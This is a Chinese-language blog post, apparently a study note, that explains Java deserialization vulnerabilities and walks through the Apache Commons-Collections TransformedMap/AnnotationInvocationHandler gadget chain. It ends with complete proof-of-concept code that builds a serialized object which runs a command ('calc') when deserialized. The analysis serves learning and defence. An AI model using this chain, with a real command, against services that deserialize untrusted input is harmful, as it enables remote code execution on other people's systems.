Java’s Two…

0x01 背景

序列化:把对象转化为字节序列的过程。
反序列化:把字节序列恢复为对象的过程。

关于ObjectOutputStream

ObjectOutputStream 将 Java 对象的基本数据类型和图形写入 OutputStream。可以使用 ObjectInputStream 读取(重构)对象。通过在流中使用文件可以实现对象的持久存储。如果流是网络套接字流,则可以在另一台主机上或另一个进程中重构对象。
只能将支持 java.io.Serializable 接口的对象写入流中。每个 serializable 对象的类都被编码,编码内容包括类名和类签名、对象的字段值和数组值,以及从初始对象中引用的其他所有对象的闭包。
writeObject 方法用于将对象写入流中。所有对象(包括 String 和数组)都可以通过 writeObject 写入。可将多个对象或基元写入流中。必须使用与写入对象时相同的类型和顺序从相应 ObjectInputstream 中读回对象。

关于ObjectInputStream

ObjectInputStream 对以前使用 ObjectOutputStream 写入的基本数据和对象进行反序列化。
ObjectOutputStream 和 ObjectInputStream 分别与 FileOutputStream 和 FileInputStream 一起使用时,可以为应用程序提供对对象图形的持久存储。ObjectInputStream 用于恢复那些以前序列化的对象。其他用途包括使用套接字流在主机之间传递对象,或者用于编组和解组远程通信系统中的实参和形参。
ObjectInputStream 确保从流创建的图形中所有对象的类型与 Java 虚拟机中显示的类相匹配。使用标准机制按需加载类。
只有支持 java.io.Serializable 或 java.io.Externalizable 接口的对象才能从流读取。
readObject 方法用于从流读取对象。应该使用 Java 的安全强制转换来获取所需的类型。在 Java 中,字符串和数组都是对象,所以在序列化期间将其视为对象。读取时,需要将其强制转换为期望的类型。

总结:

  1. ObjectOutputStream.writeObject可以对是实现了serialize接口的对象进行序列化,序列化之后,可以通过文件存储或者网络传输
  2. ObjectInputStream.readObject对序列化之后的数据进行反序列化。实现serialize接口的对象被反序列化之后,恢复对象时会调用readObject
  3. 支持java.io.Serializable 或 java.io.Externalizable 接口的对象能从流读取

序列化测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class vita implements java.io.Serializable{
public String name;
public String age;

public void info(){
System.out.println("name is " + this.name + ". age is " + this.age);
}
}
...
public static void main(String [] args)
{
vita v = new vita();
v.name = "idlefire";
v.age = "111";
try
{
// 打开一个文件输入流
FileOutputStream fileOut =
new FileOutputStream("vita_info");
// 建立对象输入流
ObjectOutputStream out = new ObjectOutputStream(fileOut);
//输出反序列化对象
out.writeObject(v);
out.close();
fileOut.close();
System.out.printf("Serialized data is saved in vita_info");
}catch(IOException i)
{
i.printStackTrace();
}
}

关于序列化数据的格式:

其中AC ED 00 50为数据开头,之后包含了类的字段名和字段类型,最后是字段值。

关于AC ED 00 50

java.io.ObjectStreamConstants类中定义了STREAM_MAGIC与STREAM_VERSION。JDK1.5/6/7/8,STREAM_MAGIC0xacedSTREAM_VERSION5。前者是序列化流的魔术,后者是序列化流的版本号,所以构成了AC ED 00 50


反序列化漏洞Demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public class UnserializeVulDemo {
public static void main(String[] args) throws Exception{
UnSafeCl uscl = new UnSafeCl();
uscl.name = "idlefire";

FileOutputStream fos = new FileOutputStream("unsafeclass");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(uscl);
os.close();

FileInputStream fis = new FileInputStream("unsafeclass");
ObjectInputStream is = new ObjectInputStream(fis);
UnSafeCl uscl2 = (UnSafeCl)(is.readObject());

// System.out.println(uscl2.name);
is.close();

}
}

class UnSafeCl implements java.io.Serializable{
public String name;
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
in.defaultReadObject();
Runtime.getRuntime().exec("calc.exe");
}
}

Show:


  • 使用JAVA反射机制调用Runtime类执行程序

正常调用

1
2
Runtime runtime = Runtime.getRuntime();
runtime.exec("calc");

Runtime类使得Java可以与运行环境对接,每个Java程序都有一个实例

正常反射调用

1
2
3
4
Class<?> cls = Class.forName("java.lang.Runtime");
Method getRuntime = cls.getMethod("getRuntime");
Method exec = cls.getMethod("exec", String.class);
exec.invoke(getRuntime.invoke(null, new Object[]{}), "calc");

反射机制调用(限制只允许调用Class.getMethod和Method.invoke)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Object object = Runtime.class;
System.out.println("0. " + object.getClass());
/*此时的cls类型是CLass,接下来通过获取getMethod方法并且调用以获取Runtime的getRuntime方法*/
Class<?> cls = object.getClass();
Method method = cls.getMethod("getMethod", new Class[] { String.class, Class[].class});
object = method.invoke(object, new Object[] {"getRuntime", new Class[0]});
System.out.println("1. " + object.getClass());
/*此时的cls类型为Method,对应方法为getRuntime,获取invoke方法并且执行*/
cls = object.getClass();
method = cls.getMethod("invoke", new Class[] { Object.class, Object[].class});
object = method.invoke(object, new Object[]{null, new Object[0]});
System.out.println("2. " + object.getClass());
/*此时的cls类型为Runtime,为Runtime.getRuntime()的结果,最后调用exec方法*/
cls = object.getClass();
method = cls.getMethod("exec", new Class[]{String.class});
object = method.invoke(object, new Object[] {"C:/Windows/System32/calc.exe"});

Show:

emmm…我觉得理解起来比较困难(毕竟菜😭)。
大致理解:

1
首先实例化一个表示Runtime的Class对象,接着通过获取并反射调用getMethod从而获得getRuntime方法,此时的对象变成了表示getRuntime的Method对象,那么获取并反射调用invoke来执行自身从而返回一个Runtime对象,之后再获取且反射调用exec方法达到执行命令的效果。


  • Java反射机制和反序列化

环境

对于不能直接访问的类就需要通过反射机制调用,针对需要进行序列化的类就能使用反射机制利用。

Demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
MyObject
package com.test;

import java.io.IOException;
import java.io.Serializable;

public class MyObject implements Serializable {

private static final long serialVersionUID = 1;
private String name = "inital";

public MyObject(){
this.name = "no name-default";
System.out.println("MyObject(String name) " + this.name);
}

public MyObject(String name){
this.name = name;
System.out.println("MyObject(String name) " + name);
}

public String getName(){
return this.name;
}

private void readObject(java.io.ObjectInputStream in ) throws IOException,ClassNotFoundException {
in.defaultReadObject();

System.out.println("Myobject-readObject!!!!!!" + this.name);
this.name = this.name + "!";
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
TestReflection
package com.reflect;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;

public class TestReflection {

public static void main(String[] args) throws Exception{
doSerialize("idlefire");
doSerialize(null);
}

public static void doSerialize(String data) throws Exception{
Class cls = Class.forName("com.test.MyObject");
Constructor ctor = null;
Object instance = null;

if(data != null)
{
ctor = cls.getDeclaredConstructor(String.class);
}
else {
ctor = cls.getDeclaredConstructor();
}


ctor.setAccessible(true);

System.out.println("--Before newInstance--");

if(data!=null){
instance = ctor.newInstance(data);
}
else {
instance = ctor.newInstance();
}

System.out.println("--After newIstance--");

ByteArrayOutputStream byteOut = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(byteOut);
out.writeObject(instance);
out.flush();
out.close();

ByteArrayInputStream byteinput = new ByteArrayInputStream(byteOut.toByteArray());
ObjectInputStream ois = new ObjectInputStream(byteinput);
Object object = (Object) ois.readObject();

System.out.println("object: " + object.getClass());

}
}

Show:


0x02 漏洞分析

情景

Java中间件通过网络接受client发送的序列化数据并对其进行反序列化,因而会调用readObject方法。这样的话如果某个对象的readObject中能够执行代码,那么该中间件即可能存在反序列化漏洞。

条件

  1. 中间件需要存在client进行序列化时的类,否则会抛出ClassNotFoundException异常

  2. Client选择的序列化类执行代码时,不进行任何验证或限制

Java常见的执行命令的方式

  1. new processBuilder(cmd).start()
  2. Runtime.getRuntime().exec(cmd)

Commons-Collection

这是分析的较多的一个序列化库,这里同样选择其进行分析。主要分析AnnotationInvocationHandler.readObject()->TransformedMap.checkSetvalue()的触发链。

1.Poc链

  • InvokerTransformer
    首先看到InvokerTransformertransform函数。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    public Object transform(Object input) {
    if (input == null) {
    return null;
    } else {
    try {
    Class cls = input.getClass();
    Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
    return method.invoke(input, this.iArgs);
    ...

这里存在一个反射调用,并且input/iMethodName/iParamTypes/iArags是在构造函数中或者传参可控的。

1
2
3
4
5
6
7
8
9
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
...
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

以上三个参数分别代表方法名/参数类型/实参
Demo:

1
2
3
InvokerTransformer invokerTransformer = new InvokerTransformer("append", new Class[]{String.class}, new Object[]{"idlefire..."});
Object user = invokerTransformer.transform(new StringBuffer("who am i? "));
System.out.println(user);

Show:

  • ChainedTransformer
    接着是由于InvokerTransformertransform方法需要调用invoke,因为这里需要利用反射机制进行调用,所以就需要进行链式调用,而在Common-Collection中存在的链式调用类就是ChainedTransformer

首先看到ChainedTransformertransform方法以及构造函数。

1
2
3
4
5
6
7
8
9
10
11
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}

return object;
}
...
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}

不难看出,可以通过构造iTransformers来实现一个链式调用transform的过程,而iTransformers又可以通过构造函数设置。但是在进行反射调用的时候,会出现一个很明显的问题就是没有可供反射的Class对象传入。这里就要提到ConstantTransformer类了。

  • ConstantTransformer
    其中的transform和构造函数提供了一个可以返回Class对象的作用。
    1
    2
    3
    4
    5
    6
    7
        public ConstantTransformer(Object constantToReturn) {
    this.iConstant = constantToReturn;
    }
    ...
    public Object transform(Object input) {
    return this.iConstant;
    }

可以明显看出,调用transform时可以将实例化传递进入的参数直接返回,而不需要去关心transform接受的参数。


  • PocDemo
    1
    2
    3
    4
    5
    6
    7
    8
    Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };

    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

效果和上文中使用JAVA反射机制调用Runtime类执行程序类似。


2.调用链

先看TransformMap的调用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map inner = new HashMap();

inner.put(null, null);

Map transformedMap = (TransformedMap) TransformedMap.decorate(inner,null,chainedTransformer);

Set set = transformedMap.entrySet();

Iterator iterator = set.iterator();

Map.Entry localentry = (Map.Entry) iterator.next();

localentry.setValue(null);

接着poc链之后分析,首先实例化了一个HashMap类,然后put了一组数据。目的是为了在Transform执行decorate方法是不抛出异常。跟到decorate方法。

1
2
3
4
5
6
7
8
9
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
...
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

跟到父类AbstractInputCheckedMapDecorator的构造函数。

1
2
3
protected AbstractInputCheckedMapDecorator(Map map) {
super(map);
}

跟到父类AbstractMapDecorator的构造函数。

1
2
3
4
5
6
7
public AbstractMapDecorator(Map map) {
if (map == null) {
throw new IllegalArgumentException("Map must not be null");
} else {
this.map = map;
}
}

这里就能看出如果inner为空,就会抛出异常。

1
2
3
4
5
6
7
Set set = transformedMap.entrySet();

Iterator iterator = set.iterator();

Map.Entry localentry = (Map.Entry) iterator.next();

localentry.setValue(null);

紧接着看到entrySet函数,该函数是在父类AbstractInputCheckedMapDecorator中实现的。

1
2
3
4
5
6
7
public Set entrySet() {
return (Set)(this.isSetValueChecking() ? new AbstractInputCheckedMapDecorator.EntrySet(this.map.entrySet(), this) : this.map.entrySet());
}
...
protected boolean isSetValueChecking() {
return this.valueTransformer != null;
}

这里的this指的是transformedMap,因为父类AbstractInputCheckedMapDecorator是一个抽象类,之后调用了EntrySet类的构造方法。

1
2
3
4
protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
super(set);
this.parent = parent;
}

因此EntrySet类的parent就变成了transformedMap,接着调用了EntrySetiterator方法。

1
2
3
public Iterator iterator() {
return new AbstractInputCheckedMapDecorator.EntrySetIterator(this.collection.iterator(), this.parent);
}

调用了EntrySetIterator的构造方法,其中传递的this.parent就是transformedMap

1
2
3
4
protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {
super(iterator);
this.parent = parent;
}

这里EntrySetIteratorparent也变成了transformedMap,接下来看到next方法。

1
2
3
4
public Object next() {
Entry entry = (Entry)this.iterator.next();
return new AbstractInputCheckedMapDecorator.MapEntry(entry, this.parent);
}

调用MapEntry的构造方法,this.parenttransformedMap

1
2
3
4
5
6
7
8
9
protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return this.entry.setValue(value);
}

在最后调用的setValue方法中,调用了transformedMap中的checkSetValue

1
2
3
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}

这里使用了valueTransformertransform方法,而valueTransformer就是poc链中的chainedTransformer,故而成功执行代码。


3.触发链

最后寻找以个触发链能够把之前的东西串联起来的,并且是有readObject方法的类。于是就找打了AnnotationInvocationHandler类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
...
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
...
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;

try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();

while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}

以上表示了AnnotationInvocationHandler类的变量、构造方法以及readObject方法。
readObject中可以看出,this.memberValues如果设置为调用链中讲的transformedMap,在之后的setValue方法调用的时候,就能触发整个利用链,从而执行命令。
但是这里还有几个限制需要去解决。

  1. 变量type,通过AnnotationType.getInstance赋值var2,之后将memberTypes赋值var3,然后通过var7 = (Class)var3.get(var6)赋值var7,接着有一个对var7检查是否为null,最后还有检查var8是否为var7的实例。
  2. var8不能为ExceptionProxy的实例。
  • 首先解决第一个限制,看到type变量,它的限制是继承Annotation类。看到AnnotationTypegetInstancememberTypes方法。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    public static AnnotationType getInstance(Class<? extends Annotation> var0) {
    JavaLangAccess var1 = SharedSecrets.getJavaLangAccess();
    AnnotationType var2 = var1.getAnnotationType(var0);
    if (var2 == null) {
    var2 = new AnnotationType(var0);
    if (!var1.casAnnotationType(var0, (AnnotationType)null, var2)) {
    var2 = var1.getAnnotationType(var0);

    assert var2 != null;
    }
    }

    return var2;
    }
    ...
    public Map<String, Class<?>> memberTypes() {
    return this.memberTypes;
    }

其中就主要看到memerTypes的值,在调用getInstance时,初始化了AnnotationType类,接着看到AnnotationType的构造函数中重要的一部分。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Method[] var2 = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
public Method[] run() {
return var1.getDeclaredMethods();
}
});
this.memberTypes = new HashMap(var2.length + 1, 1.0F);
this.memberDefaults = new HashMap(0);
this.members = new HashMap(var2.length + 1, 1.0F);
Method[] var3 = var2;
int var4 = var2.length;

for(int var5 = 0; var5 < var4; ++var5) {
Method var6 = var3[var5];
if (var6.getParameterTypes().length != 0) {
throw new IllegalArgumentException(var6 + " has params");
}

String var7 = var6.getName();
Class var8 = var6.getReturnType();
this.memberTypes.put(var7, invocationHandlerReturnType(var8));

其中var1选择java.lang.annotation.Target,当memberType调用put方法将var7var8处理之后,就能看到member发生了变化,其中value对构造链的inner很重要。

到这里第一个限制就已经理清楚了,只要构造链中的inner满足存在键名为value并且键值不是memberType中对应的类即可。

  • 接下来简单说明inner在调用链中传递过程。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public Set entrySet() {
return (Set)(this.isSetValueChecking() ? new AbstractInputCheckedMapDecorator.EntrySet(this.map.entrySet(), this) : this.map.entrySet());
}
...
protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
super(set);
this.parent = parent;
}
...
protected AbstractSetDecorator(Set set) {
super(set);
}
...
protected AbstractCollectionDecorator(Collection coll) {
if (coll == null) {
throw new IllegalArgumentException("Collection must not be null");
} else {
this.collection = coll;
}
}

其中this.map就是inner,之后进过EntrySetAbstractSetDecoratorAbstractCollectionDecorator,其entrySet()变成了this.collection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
    public Iterator iterator() {
return new AbstractInputCheckedMapDecorator.EntrySetIterator(this.collection.iterator(), this.parent);
}
...
protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {
super(iterator);
this.parent = parent;
}
...
public AbstractIteratorDecorator(Iterator iterator) {
if (iterator == null) {
throw new IllegalArgumentException("Iterator must not be null");
} else {
this.iterator = iterator;
}
}

接着this.map.entrySet().iterator()变成了this.iterator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
    public Object next() {
Entry entry = (Entry)this.iterator.next();
return new AbstractInputCheckedMapDecorator.MapEntry(entry, this.parent);
}
}
...
protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
...
public AbstractMapEntryDecorator(Entry entry) {
if (entry == null) {
throw new IllegalArgumentException("Map Entry must not be null");
} else {
this.entry = entry;
}
}

最后this.map.entrySet().iterator().next()也就是innerput的键值对变成了this.entry。即变成了readObject中的var5,这样就能控制var8不是ExceptionProxy对象了。
至此两个限制也被解决了。

完整利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map inner = new HashMap();
inner.put("value", "idlefire");

Map transformedMap = (TransformedMap) TransformedMap.decorate(inner, null, chainedTransformer);


Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

Constructor con = cls.getDeclaredConstructor(Class.class, Map.class);

con.setAccessible(true);

Object instance = con.newInstance(Target.class, transformedMap);

FileOutputStream ins = new FileOutputStream("poc");
ObjectOutputStream oos = new ObjectOutputStream(ins);
oos.writeObject(instance);
oos.close();

FileInputStream fis = new FileInputStream("poc");
ObjectInputStream ois = new ObjectInputStream(fis);

Object anno = (Object) ois.readObject();

1、ConstantTransformer、InvokerTransformer -> ChainedTransformer
2、ChainedTransformer -> TransformedMap.valueTransformer
3、TransformedMap -> AnnotationInvocationHandler.memberValues
4、AnnotationInvocationHandler -> readObejct() -> setValue() -> TransformedMap.checkSetValue-> ChainedTransformer.transform()


0x03

One’s Storm

还有很长很长的路。
(ง •_•)ง